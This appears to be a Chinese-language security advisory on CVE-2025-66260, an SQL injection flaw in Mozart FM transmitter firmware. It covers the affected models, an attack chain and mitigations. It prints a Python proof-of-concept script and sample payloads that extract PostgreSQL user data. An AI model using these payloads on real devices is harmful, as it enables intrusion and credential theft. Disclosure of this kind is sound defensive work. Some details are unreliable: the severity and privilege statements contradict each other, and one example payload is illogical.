IPBUF安全漏洞报告
English
CVE-2025-66260 CVSS 6.5 中危

CVE-2025-66260 Mozart FM Transmitter status_sql.php SQL注入漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66260
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

SQL注入CVE-2025-66260Mozart FM TransmitterPostgreSQLWeb应用安全FM发射器DB Electronica Telecomunicazionistatus_sql.php认证要求低机密性影响高

漏洞概述

CVE-2025-66260是DB Electronica Telecomunicazioni S.p.A. Mozart FM FM发射器设备中的高危SQL注入漏洞。该漏洞存在于status_sql.php端点,由于对sw1和sw2参数处理不当,攻击者可通过构造恶意SQL语句获取数据库中的敏感信息。Mozart FM Transmitter是一款广泛应用于广播通信领域的调频发射设备,支持30W至7000W多种功率规格。此次漏洞影响所有主流型号,包括30、50、100、300、500、1000、2000、3000、3500、6000和7000等版本。CVSS评分6.5,属于中危级别,攻击复杂度低,无需特殊权限即可发起攻击,对系统机密性造成严重影响。

技术细节

漏洞根源在于status_sql.php文件中的SQL查询构建逻辑。程序直接使用用户提供的sw1和sw2参数拼接UPDATE语句,完全绕过了安全编码实践。具体问题包括:(1) 未使用参数化查询或预编译语句;(2) 未调用pg_escape_string()进行输入转义;(3) 直接字符串拼接构建SQL命令。攻击者可利用子查询(subquery)技术从系统表(如pg_database、pg_user)中提取数据,结合PostgreSQL的verbose错误消息机制获取详细的查询结果。虽然pg_exec函数的限制阻止了堆叠查询执行,但通过UNION或布尔盲注技术仍可实现数据外泄。典型的攻击Payload可能包含:' OR (SELECT 1 FROM pg_user WHERE usename='postgres')='postgres' 等子查询语句。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内部网络,识别运行Mozart FM Transmitter固件的设备,访问status_sql.php端点
STEP 2
步骤2
认证阶段:使用低权限账户登录系统(PR:L要求),或利用设备默认凭证获取基本访问权限
STEP 3
步骤3
注入构造:精心构造sw1或sw2参数值,嵌入SQL子查询语句,如使用UNION SELECT或条件判断语句
STEP 4
步骤4
数据提取:利用PostgreSQL错误消息或响应差异,提取数据库中的敏感信息,包括用户凭证、配置数据等
STEP 5
步骤5
权限提升:通过获取的管理凭据或其他敏感数据,进一步控制设备或横向移动至其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-66260 SQL Injection PoC # Target: Mozart FM Transmitter status_sql.php # Vector: sw1 and sw2 parameters target_url = "http://target.com/status_sql.php" # Basic injection to trigger error-based extraction payloads = { "sw1": "1' AND (SELECT 1 FROM pg_database WHERE datname=current_database())=1--", "sw2": "1' AND (SELECT 1 FROM pg_user LIMIT 1)=1--" } try: response = requests.post(target_url, data=payloads, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Boolean-based blind injection example def blind_inject(url, param, charset): """Extract data using boolean-based blind injection""" for char in charset: payload = f"1' AND (SELECT SUBSTRING(usename,1,1) FROM pg_user LIMIT 1)='{char}'--" data = {"sw1": payload, "sw2": "1"} resp = requests.post(url, data=data, timeout=10) if "expected_result" in resp.text: return char return None

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

防御指南

临时缓解措施
在厂商发布正式补丁前,可采取以下临时缓解措施:(1) 通过网络ACL限制对status_sql.php的访问,仅允许受信任的IP地址访问;(2) 关闭设备的远程管理功能,改为本地管理;(3) 监控Web服务器日志,密切关注包含单引号、UNION、SELECT等SQL关键字的异常请求;(4) 考虑在反向代理层实施输入过滤规则,拦截潜在的SQL注入Payload。建议尽快联系厂商获取安全更新,并持续关注NVD和厂商公告的后续信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表